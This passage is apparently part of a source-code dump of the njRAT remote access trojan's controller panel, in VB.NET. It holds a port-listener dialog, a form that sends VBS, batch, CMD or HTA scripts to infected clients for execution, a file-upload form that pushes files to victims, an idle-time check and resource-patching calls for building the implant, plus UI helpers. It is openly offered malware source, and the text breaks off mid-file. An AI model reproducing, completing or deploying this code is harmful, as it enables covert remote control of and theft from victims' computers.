| start = Me.T1.Find("[Back]", start, RichTextBoxFinds.None) 60 | If (start > 0) Then 61 | Dim ch As Char = Me.T1.Text.Chars((start - 1)) 62 | Select Case ch.ToString 63 | Case "]", ChrW(10) 64 | Me.T1.Select(start, "[back]".Length) 65 | Me.T1.Cut() 66 | Continue Do 67 | End Select 68 | Me.T1.Select((start - 1), ("[back]".Length + 1)) 69 | Me.T1.Cut() 70 | End If 71 | Loop 72 | Clipboard.SetDataObject(dataObject) 73 | Me.T1.ReadOnly = True 74 | Catch exception1 As Exception 75 | End Try 76 | End Sub 77 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/notf.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class notf 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.p = New System.Windows.Forms.PictureBox() 26 | CType(Me.p, System.ComponentModel.ISupportInitialize).BeginInit() 27 | Me.SuspendLayout() 28 | ' 29 | 'p 30 | ' 31 | Me.p.Cursor = System.Windows.Forms.Cursors.Hand 32 | Me.p.Dock = System.Windows.Forms.DockStyle.Fill 33 | Me.p.Location = New System.Drawing.Point(0, 0) 34 | Me.p.Name = "p" 35 | Me.p.Size = New System.Drawing.Size(267, 109) 36 | Me.p.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage 37 | Me.p.TabIndex = 0 38 | Me.p.TabStop = False 39 | ' 40 | 'notf 41 | ' 42 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 43 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 44 | Me.BackColor = System.Drawing.Color.Black 45 | Me.ClientSize = New System.Drawing.Size(267, 109) 46 | Me.Controls.Add(Me.p) 47 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None 48 | Me.Name = "notf" 49 | Me.Opacity = 0.8R 50 | Me.ShowIcon = False 51 | Me.ShowInTaskbar = False 52 | Me.Text = "notf" 53 | Me.TopMost = True 54 | Me.TransparencyKey = System.Drawing.Color.Transparent 55 | CType(Me.p, System.ComponentModel.ISupportInitialize).EndInit() 56 | Me.ResumeLayout(False) 57 | 58 | End Sub 59 | Friend WithEvents p As System.Windows.Forms.PictureBox 60 | End Class 61 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/port.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class port 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.TextBox1 = New System.Windows.Forms.TextBox() 26 | Me.Button1 = New System.Windows.Forms.Button() 27 | Me.Label1 = New System.Windows.Forms.Label() 28 | Me.Button2 = New System.Windows.Forms.Button() 29 | Me.SuspendLayout() 30 | ' 31 | 'TextBox1 32 | ' 33 | Me.TextBox1.BackColor = System.Drawing.Color.Black 34 | Me.TextBox1.Font = New System.Drawing.Font("Arial", 11.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 35 | Me.TextBox1.ForeColor = System.Drawing.Color.LightSteelBlue 36 | Me.TextBox1.Location = New System.Drawing.Point(61, 6) 37 | Me.TextBox1.Name = "TextBox1" 38 | Me.TextBox1.Size = New System.Drawing.Size(118, 25) 39 | Me.TextBox1.TabIndex = 0 40 | Me.TextBox1.Text = "5552" 41 | Me.TextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center 42 | ' 43 | 'Button1 44 | ' 45 | Me.Button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat 46 | Me.Button1.Font = New System.Drawing.Font("Arial", 12.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 47 | Me.Button1.Location = New System.Drawing.Point(8, 37) 48 | Me.Button1.Name = "Button1" 49 | Me.Button1.Size = New System.Drawing.Size(171, 33) 50 | Me.Button1.TabIndex = 1 51 | Me.Button1.Text = "Start" 52 | Me.Button1.UseVisualStyleBackColor = True 53 | ' 54 | 'Label1 55 | ' 56 | Me.Label1.AutoSize = True 57 | Me.Label1.Font = New System.Drawing.Font("Arial", 12.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 58 | Me.Label1.Location = New System.Drawing.Point(6, 7) 59 | Me.Label1.Name = "Label1" 60 | Me.Label1.Size = New System.Drawing.Size(51, 19) 61 | Me.Label1.TabIndex = 2 62 | Me.Label1.Text = "Port :" 63 | ' 64 | 'Button2 65 | ' 66 | Me.Button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat 67 | Me.Button2.Font = New System.Drawing.Font("Arial", 12.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 68 | Me.Button2.Location = New System.Drawing.Point(8, 76) 69 | Me.Button2.Name = "Button2" 70 | Me.Button2.Size = New System.Drawing.Size(171, 33) 71 | Me.Button2.TabIndex = 3 72 | Me.Button2.Text = "Exit" 73 | Me.Button2.UseVisualStyleBackColor = True 74 | ' 75 | 'port 76 | ' 77 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 78 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 79 | Me.BackColor = System.Drawing.SystemColors.ActiveCaptionText 80 | Me.ClientSize = New System.Drawing.Size(191, 116) 81 | Me.Controls.Add(Me.Button2) 82 | Me.Controls.Add(Me.Label1) 83 | Me.Controls.Add(Me.Button1) 84 | Me.Controls.Add(Me.TextBox1) 85 | Me.ForeColor = System.Drawing.Color.LightSteelBlue 86 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow 87 | Me.MaximizeBox = False 88 | Me.Name = "port" 89 | Me.ShowIcon = False 90 | Me.ShowInTaskbar = False 91 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent 92 | Me.Text = "port" 93 | Me.ResumeLayout(False) 94 | Me.PerformLayout() 95 | 96 | End Sub 97 | Friend WithEvents TextBox1 As System.Windows.Forms.TextBox 98 | Friend WithEvents Button1 As System.Windows.Forms.Button 99 | Friend WithEvents Label1 As System.Windows.Forms.Label 100 | Friend WithEvents Button2 As System.Windows.Forms.Button 101 | End Class 102 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/port.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Runtime.CompilerServices 7 | Imports System.Windows.Forms 8 | Public Class port 9 | Inherits Form 10 | ' Methods 11 | 12 | Public port As Integer 13 | Public Sub New() 14 | Me.port = -1 15 | Me.InitializeComponent() 16 | End Sub 17 | 18 | Private Sub port_Activated(sender As Object, e As EventArgs) Handles Me.Activated 19 | Me.TextBox1.Focus() 20 | End Sub 21 | 22 | Private Sub port_KeyDown(sender As Object, e As KeyEventArgs) Handles Me.KeyDown 23 | If (e.KeyCode = Keys.Enter) Then 24 | e.SuppressKeyPress = True 25 | If Me.Button1.Enabled Then 26 | Me.Button1_Click(RuntimeHelpers.GetObjectValue(sender), New EventArgs) 27 | End If 28 | ElseIf (e.KeyCode = Keys.Escape) Then 29 | Me.port = -1 30 | Me.Close() 31 | End If 32 | End Sub 33 | 34 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 35 | Me.port = Conversions.ToInteger(Me.TextBox1.Text) 36 | Me.Close() 37 | End Sub 38 | 39 | Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click 40 | Me.port = -1 41 | Me.Close() 42 | End Sub 43 | 44 | Private Sub port_Load(sender As Object, e As EventArgs) Handles Me.Load 45 | Me.Icon = My.Resources.icon 46 | End Sub 47 | 48 | Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged 49 | Try 50 | Dim num As Integer = Conversions.ToInteger(Me.TextBox1.Text) 51 | If ((Conversions.ToInteger(Me.TextBox1.Text) > &HFFFE) Or (Conversions.ToInteger(Me.TextBox1.Text) < 1)) Then 52 | Me.Button1.Enabled = False 53 | Else 54 | Me.Button1.Enabled = True 55 | End If 56 | Catch exception1 As Exception 57 | Me.Button1.Enabled = False 58 | End Try 59 | End Sub 60 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/script.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class script 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.Panel1 = New System.Windows.Forms.Panel() 26 | Me.Button1 = New System.Windows.Forms.Button() 27 | Me.ComboBox1 = New System.Windows.Forms.ComboBox() 28 | Me.TextBox1 = New System.Windows.Forms.TextBox() 29 | Me.Panel1.SuspendLayout() 30 | Me.SuspendLayout() 31 | ' 32 | 'Panel1 33 | ' 34 | Me.Panel1.Controls.Add(Me.Button1) 35 | Me.Panel1.Controls.Add(Me.ComboBox1) 36 | Me.Panel1.Dock = System.Windows.Forms.DockStyle.Bottom 37 | Me.Panel1.Location = New System.Drawing.Point(0, 271) 38 | Me.Panel1.Name = "Panel1" 39 | Me.Panel1.Size = New System.Drawing.Size(514, 25) 40 | Me.Panel1.TabIndex = 0 41 | ' 42 | 'Button1 43 | ' 44 | Me.Button1.Dock = System.Windows.Forms.DockStyle.Fill 45 | Me.Button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat 46 | Me.Button1.Font = New System.Drawing.Font("Arial", 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 47 | Me.Button1.ForeColor = System.Drawing.Color.LightSteelBlue 48 | Me.Button1.Location = New System.Drawing.Point(0, 0) 49 | Me.Button1.Name = "Button1" 50 | Me.Button1.Size = New System.Drawing.Size(447, 25) 51 | Me.Button1.TabIndex = 1 52 | Me.Button1.Text = "Execute" 53 | Me.Button1.UseVisualStyleBackColor = True 54 | ' 55 | 'ComboBox1 56 | ' 57 | Me.ComboBox1.BackColor = System.Drawing.SystemColors.InactiveCaptionText 58 | Me.ComboBox1.Dock = System.Windows.Forms.DockStyle.Right 59 | Me.ComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList 60 | Me.ComboBox1.FlatStyle = System.Windows.Forms.FlatStyle.Flat 61 | Me.ComboBox1.ForeColor = System.Drawing.Color.LightSteelBlue 62 | Me.ComboBox1.FormattingEnabled = True 63 | Me.ComboBox1.Items.AddRange(New Object() {"vbs", "bat", "cmd", "txt", "html", "hta"}) 64 | Me.ComboBox1.Location = New System.Drawing.Point(447, 0) 65 | Me.ComboBox1.Name = "ComboBox1" 66 | Me.ComboBox1.Size = New System.Drawing.Size(67, 21) 67 | Me.ComboBox1.TabIndex = 0 68 | ' 69 | 'TextBox1 70 | ' 71 | Me.TextBox1.BackColor = System.Drawing.Color.Black 72 | Me.TextBox1.Dock = System.Windows.Forms.DockStyle.Fill 73 | Me.TextBox1.ForeColor = System.Drawing.Color.LightSteelBlue 74 | Me.TextBox1.Location = New System.Drawing.Point(0, 0) 75 | Me.TextBox1.Multiline = True 76 | Me.TextBox1.Name = "TextBox1" 77 | Me.TextBox1.Size = New System.Drawing.Size(514, 271) 78 | Me.TextBox1.TabIndex = 1 79 | ' 80 | 'script 81 | ' 82 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 83 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 84 | Me.BackColor = System.Drawing.SystemColors.ActiveCaptionText 85 | Me.ClientSize = New System.Drawing.Size(514, 296) 86 | Me.Controls.Add(Me.TextBox1) 87 | Me.Controls.Add(Me.Panel1) 88 | Me.Name = "script" 89 | Me.ShowIcon = False 90 | Me.ShowInTaskbar = False 91 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen 92 | Me.Text = "script" 93 | Me.Panel1.ResumeLayout(False) 94 | Me.ResumeLayout(False) 95 | Me.PerformLayout() 96 | 97 | End Sub 98 | Friend WithEvents Panel1 As System.Windows.Forms.Panel 99 | Friend WithEvents TextBox1 As System.Windows.Forms.TextBox 100 | Friend WithEvents ComboBox1 As System.Windows.Forms.ComboBox 101 | Friend WithEvents Button1 As System.Windows.Forms.Button 102 | End Class 103 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/script.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Runtime.CompilerServices 7 | Imports System.Windows.Forms 8 | Public Class script 9 | Inherits Form 10 | ' Methods 11 | Public Code As String 12 | Public F As Form1 13 | Public RunAs As String 14 | 15 | Public Sub New() 16 | Me.RunAs = "vbs" 17 | Me.Code = String.Empty 18 | Me.InitializeComponent() 19 | End Sub 20 | 21 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 22 | Me.Code = Me.TextBox1.Text 23 | Me.RunAs = Me.ComboBox1.Text 24 | Me.Close() 25 | End Sub 26 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Forms/up.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.IO 7 | Imports System.Runtime.CompilerServices 8 | Imports System.Windows.Forms 9 | Imports NJRAT.NJRAT 10 | 11 | Public Class up 12 | Inherits Form 13 | ' Methods 14 | Public Closinge As Boolean 15 | Public FN As String 16 | Public FS As FileStream 17 | Public os As Integer 18 | Public osk As Client 19 | Public sk As Client 20 | Public SZ As Integer 21 | Public TMP As String 22 | Public Sub New() 23 | Me.Closinge = False 24 | Me.os = 0 25 | Me.InitializeComponent() 26 | End Sub 27 | 28 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 29 | Me.Close() 30 | End Sub 31 | 32 | Private Sub up_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing 33 | Me.Closinge = True 34 | Try 35 | Me.FS.Close() 36 | Me.FS.Dispose() 37 | Catch exception1 As Exception 38 | End Try 39 | Try 40 | Me.sk.Close() 41 | Catch exception3 As Exception 42 | End Try 43 | End Sub 44 | 45 | Private Sub up_Load(sender As Object, e As EventArgs) Handles Me.Load 46 | Me.FS = New FileStream(Me.TMP, FileMode.Open) 47 | Me.Lv1.Items.Item(0).SubItems.Item(0).Text = New FileInfo(Me.TMP).Name 48 | Me.Lv1.Items.Item(1).SubItems.Item(0).Text = Class6.smethod_17(CLng(Me.SZ)) 49 | Me.Lv1.Items.Item(2).SubItems.Item(0).Text = Class6.smethod_17(0) 50 | Me.Lv1.Items.Item(3).SubItems.Item(0).Text = Class6.smethod_17(0) 51 | Me.ProgressBar1.Maximum = Me.SZ 52 | Me.osk.Send(String.Concat(New String() {"Ex", Class7.string_1, "fm", Class7.string_1, "up", Class7.string_1, Me.osk.ip, Class7.string_1, Class6.smethod_14(Me.FN), Class7.string_1, Conversions.ToString(Me.SZ)})) 53 | Me.Lv1.method_3() 54 | Me.vmethod_4.Enabled = True 55 | End Sub 56 | 57 | Private Sub vmethod_4_Tick(sender As Object, e As EventArgs) Handles vmethod_4.Tick 58 | Try 59 | Me.Lv1.Items.Item(2).SubItems.Item(1).Text = Class6.smethod_17(CLng((Me.ProgressBar1.Value - Me.os))) 60 | Me.os = Me.ProgressBar1.Value 61 | Me.Lv1.Items.Item(3).SubItems.Item(1).Text = Class6.smethod_17(CLng(Me.ProgressBar1.Value)) 62 | Catch exception1 As Exception 63 | End Try 64 | End Sub 65 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Modules/ApplicationEvents.vb: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /njRAT/NjRAT/Modules/GClass12.vb: -------------------------------------------------------------------------------- 1 | Imports NJRAT 2 | Imports System 3 | Imports NJRAT.njRAT 4 | 5 | Public NotInheritable Class GClass12 6 | ' Methods 7 | Public Sub New(ByVal client_1 As Client, ByVal byte_1 As Byte()) 8 | Me.client_0 = client_1 9 | Me.byte_0 = byte_1 10 | End Sub 11 | 12 | 13 | ' Fields 14 | Public bool_0 As Boolean = False 15 | Public byte_0 As Byte() 16 | Public client_0 As Client 17 | End Class 18 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Modules/GClass2.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Runtime.InteropServices 3 | Imports System.Security 4 | 5 | _ 6 | Public NotInheritable Class GClass2 7 | ' Methods 8 | _ 9 | Public Shared Function BeginUpdateResource(ByVal string_0 As String, ByVal bool_0 As Boolean) As IntPtr 10 | End Function 11 | 12 | _ 13 | Public Shared Function EndUpdateResource(ByVal intptr_0 As IntPtr, ByVal bool_0 As Boolean) As Boolean 14 | End Function 15 | 16 | _ 17 | Public Shared Function UpdateResource(ByVal intptr_0 As IntPtr, ByVal intptr_1 As IntPtr, ByVal intptr_2 As IntPtr, ByVal short_0 As Short, ByVal byte_0 As Byte(), ByVal int_0 As Integer) As Boolean 18 | End Function 19 | 20 | End Class 21 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Modules/GClass4.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | 3 | Public NotInheritable Class GClass4 4 | ' Methods 5 | Public Sub New(ByVal string_2 As String, ByVal string_3 As String) 6 | Me.string_0 = string_2 7 | Me.string_1 = string_3 8 | End Sub 9 | 10 | Public Function method_0() As String 11 | Return Me.string_0 12 | End Function 13 | 14 | Public Function method_1() As String 15 | Return Me.string_1 16 | End Function 17 | 18 | 19 | ' Fields 20 | Private string_0 As String 21 | Private string_1 As String 22 | End Class 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Modules/GClass5.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | 4 | Public NotInheritable Class GClass5 5 | ' Methods 6 | Public Sub New(ByVal string_1 As String) 7 | Me.string_0 = string_1 8 | End Sub 9 | 10 | Public Function method_0() As Integer 11 | If ((Me.string_0 Is Nothing) Or (Me.string_0 = String.Empty)) Then 12 | Return GClass5.int_0 13 | End If 14 | Return (Convert.ToInt32(Me.string_0.Substring(4, 3)) - &H69) 15 | End Function 16 | 17 | Public Function method_1() As Boolean 18 | Return (Me.string_0.IndexOf("FREE") < 0) 19 | End Function 20 | 21 | Public Function method_2() As DateTime 22 | Dim num2 As Integer = (Me.string_0.Length - 10) 23 | Dim i As Integer = 0 24 | Do While (i <= num2) 25 | If Char.IsWhiteSpace(Me.string_0.Chars(i)) Then 26 | Dim s As String = Me.string_0.Substring((i + 1), 8) 27 | Try 28 | Return DateTime.ParseExact(s, "yyyyMMdd", Nothing) 29 | Catch exception1 As Exception 30 | ProjectData.SetProjectError(exception1) 31 | Dim exception As Exception = exception1 32 | Console.Write(exception.Message) 33 | ProjectData.ClearProjectError() 34 | Exit Do 35 | End Try 36 | End If 37 | i += 1 38 | Loop 39 | Return DateTime.Now 40 | End Function 41 | 42 | Public Function method_3() As String 43 | Return Me.string_0 44 | End Function 45 | 46 | 47 | ' Fields 48 | Public Shared int_0 As Integer = 1 49 | Public Shared int_1 As Integer = 7 50 | Public Shared int_10 As Integer = 11 51 | Public Shared int_11 As Integer = 12 52 | Public Shared int_12 As Integer = &H15 53 | Public Shared int_13 As Integer = &H16 54 | Public Shared int_14 As Integer = &H17 55 | Public Shared int_15 As Integer = &H18 56 | Public Shared int_16 As Integer = 30 57 | Public Shared int_17 As Integer = &H1F 58 | Public Shared int_18 As Integer = &H20 59 | Public Shared int_19 As Integer = &H21 60 | Public Shared int_2 As Integer = 3 61 | Public Shared int_3 As Integer = 6 62 | Public Shared int_4 As Integer = 2 63 | Public Shared int_5 As Integer = 5 64 | Public Shared int_6 As Integer = 4 65 | Public Shared int_7 As Integer = 8 66 | Public Shared int_8 As Integer = 9 67 | Public Shared int_9 As Integer = 10 68 | Private string_0 As String 69 | End Class 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Modules/GClass6.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | 3 | Public NotInheritable Class GClass6 4 | ' Methods 5 | Public Function method_0(ByVal gclass6_0 As GClass6) As Double 6 | Dim d As Double = Me.double_0 7 | Dim num6 As Double = Me.double_1 8 | Dim num5 As Double = gclass6_0.double_0 9 | Dim num7 As Double = gclass6_0.double_1 10 | d = (d * GClass6.double_4) 11 | num5 = (num5 * GClass6.double_4) 12 | Dim num As Double = (num5 - d) 13 | Dim num2 As Double = ((num7 - num6) * GClass6.double_4) 14 | Dim num8 As Double = (Math.Pow(Math.Sin((num / 2)), 2) + ((Math.Cos(d) * Math.Cos(num5)) * Math.Pow(Math.Sin((num2 / 2)), 2))) 15 | Return (GClass6.double_2 * Math.Atan2(Math.Sqrt(num8), Math.Sqrt((1 - num8)))) 16 | End Function 17 | 18 | 19 | ' Fields 20 | Public double_0 As Double 21 | Public double_1 As Double 22 | Private Shared double_2 As Double = 12756.4 23 | Private Shared double_3 As Double = 3.14159265 24 | Private Shared double_4 As Double = (GClass6.double_3 / 180) 25 | Public int_0 As Integer 26 | Public int_1 As Integer 27 | Public int_2 As Integer 28 | Public string_0 As String 29 | Public string_1 As String 30 | Public string_2 As String 31 | Public string_3 As String 32 | Public string_4 As String 33 | Public string_5 As String 34 | End Class 35 | 36 | 37 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Modules/GClass7.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Runtime.InteropServices 3 | 4 | Public NotInheritable Class GClass7 5 | ' Methods 6 | _ 7 | Private Shared Function GetLastInputInfo(ByRef gstruct0_0 As GStruct0) As Boolean 8 | End Function 9 | 10 | Public Shared Function smethod_0() As UInt32 11 | Dim struct2 As GStruct0 12 | struct2 = New GStruct0 With { _ 13 | .uint_0 = Convert.ToUInt32(Marshal.SizeOf(struct2)) _ 14 | } 15 | GClass7.GetLastInputInfo(struct2) 16 | Return (Convert.ToUInt32(Environment.TickCount) - struct2.uint_1) 17 | End Function 18 | 19 | 20 | ' Nested Types 21 | _ 22 | Public Structure GStruct0 23 | Public uint_0 As UInt32 24 | Public uint_1 As UInt32 25 | End Structure 26 | End Class -------------------------------------------------------------------------------- /njRAT/NjRAT/Modules/GClass8.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.Collections.Generic 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Runtime.CompilerServices 7 | Imports System.Windows.Forms 8 | 9 | Public NotInheritable Class GClass8 10 | Inherits PictureBox 11 | ' Methods 12 | Public Sub New() 13 | Me.fonty = New Font("arial", 8.0!, FontStyle.Bold) 14 | Me.Lines = New List(Of Object()) 15 | Dim timer As New Timer With {.Interval = 50, .Enabled = False} 16 | Me.T = timer 17 | Me.SizeMode = PictureBoxSizeMode.Normal 18 | End Sub 19 | 20 | 21 | _ 22 | Private Sub lam__4(ByVal a0 As Object, ByVal a1 As EventArgs) 23 | Try 24 | Me.wrk() 25 | Catch ex As Exception 26 | 27 | End Try 28 | 29 | End Sub 30 | 31 | Public Sub wrk() 32 | Try 33 | Me.T.Enabled = False 34 | Dim pp2 As GClass8 = Me 35 | SyncLock pp2 36 | Dim image As New Bitmap(Me.Width, Me.Height) 37 | Me.G = Graphics.FromImage(image) 38 | Me.G.Clear(Color.Black) 39 | Dim y As Integer = 3 40 | Dim height As Integer = TextRenderer.MeasureText("test", Me.font).Height 41 | Dim white As Color = Color.White 42 | Dim i As Integer = (Me.Lines.Count - 1) 43 | Do While (i >= 0) 44 | Dim x As Integer = 3 45 | Dim objArray As Object() = Me.Lines.Item(i) 46 | Dim num6 As Integer = (objArray.Length - 1) 47 | Dim j As Integer = 0 48 | Do While (j <= num6) 49 | Dim objectValue As Object = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objArray(j)))) 50 | Dim str As String = objectValue.GetType.ToString 51 | If (str = GetType(Bitmap).ToString) Then 52 | Dim bitmap2 As Bitmap = DirectCast(objectValue, Bitmap) 53 | If (bitmap2.Height > height) Then 54 | Dim ptr As IntPtr 55 | bitmap2 = DirectCast(bitmap2.GetThumbnailImage(height, height, Nothing, ptr), Bitmap) 56 | End If 57 | Me.G.DrawImage(bitmap2, x, y) 58 | x = (x + (bitmap2.Width + 3)) 59 | ElseIf (str = GetType(String).ToString) Then 60 | Dim text As String = Conversions.ToString(RuntimeHelpers.GetObjectValue(objectValue)) 61 | Dim size As Size = TextRenderer.MeasureText([text], Me.font) 62 | Me.G.DrawString([text], Me.font, New Pen(white).Brush, CSng(x), CSng(y)) 63 | If ((size.Height - height) > 0) Then 64 | y = (y + (size.Height - height)) 65 | x = 3 66 | Else 67 | x = (x + (size.Width + 3)) 68 | End If 69 | ElseIf (str = GetType(Color).ToString) Then 70 | white = DirectCast(objectValue, Color) 71 | End If 72 | j += 1 73 | Loop 74 | y = (y + height) 75 | i = (i + -1) 76 | Loop 77 | Me.G.Dispose() 78 | Me.Image = image 79 | End SyncLock 80 | Me.T.Enabled = True 81 | Catch ex As Exception 82 | 83 | End Try 84 | 85 | End Sub 86 | 87 | Public Sub WRT(ByVal ParamArray A As Object()) 88 | Dim pp2 As GClass8 = Me 89 | SyncLock pp2 90 | Me.Lines.Add(A) 91 | If (Me.Lines.Count = 100) Then 92 | Me.Lines.RemoveAt(0) 93 | End If 94 | End SyncLock 95 | End Sub 96 | 97 | 98 | ' Properties 99 | Public Property T As Timer 100 | Get 101 | Return Me._T 102 | End Get 103 | _ 104 | Set(ByVal WithEventsValue As Timer) 105 | Dim handler As EventHandler = New EventHandler(AddressOf Me.lam__4) 106 | If (Not Me._T Is Nothing) Then 107 | RemoveHandler Me._T.Tick, handler 108 | End If 109 | Me._T = WithEventsValue 110 | If (Not Me._T Is Nothing) Then 111 | AddHandler Me._T.Tick, handler 112 | End If 113 | End Set 114 | End Property 115 | 116 | 117 | ' Fields 118 | Private _T As Timer 119 | Public fonty As Font 120 | Public G As Graphics 121 | Public Lines As List(Of Object()) 122 | End Class 123 | 124 | 125 | 126 | -------------------------------------------------------------------------------- /njRAT/NjRAT/Modules/Pp1.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.Collections.Generic 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Runtime.CompilerServices 7 | Imports System.Windows.Forms 8 | 9 | Public NotInheritable Class Pp1 10 | Inherits PictureBox 11 | ' Methods 12 | Public Sub New() 13 | Me.font = New Font("arial", 8.0!, FontStyle.Bold) 14 | Me.Lines = New List(Of Object()) 15 | Dim timer As New Timer With {.Interval = 50, .Enabled = False} 16 | Me.T = timer 17 | Me.SizeMode = PictureBoxSizeMode.Normal 18 | End Sub 19 | 20 | 21 | _ 22 | Private Sub ksh__4(ByVal a0 As Object, ByVal a1 As EventArgs) 23 | Try 24 | Me.wrk() 25 | Catch ex As Exception 26 | 27 | End Try 28 | 29 | End Sub 30 | 31 | Public Sub wrk() 32 | Try 33 | Me.T.Enabled = False 34 | Dim pp2 As Pp1 = Me 35 | SyncLock pp2 36 | Dim image As New Bitmap(Me.Width, Me.Height) 37 | Me.G = Graphics.FromImage(image) 38 | Me.G.Clear(Color.Black) 39 | Dim y As Integer = 3 40 | Dim height As Integer = TextRenderer.MeasureText("test", Me.font).Height 41 | Dim white As Color = Color.White 42 | Dim i As Integer = (Me.Lines.Count - 1) 43 | Do While (i >= 0) 44 | Dim x As Integer = 3 45 | Dim objArray As Object() = Me.Lines.Item(i) 46 | Dim num6 As Integer = (objArray.Length - 1) 47 | Dim j As Integer = 0 48 | Do While (j <= num6) 49 | Dim objectValue As Object = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objArray(j)))) 50 | Dim str As String = objectValue.GetType.ToString 51 | If (str = GetType(Bitmap).ToString) Then 52 | Dim bitmap2 As Bitmap = 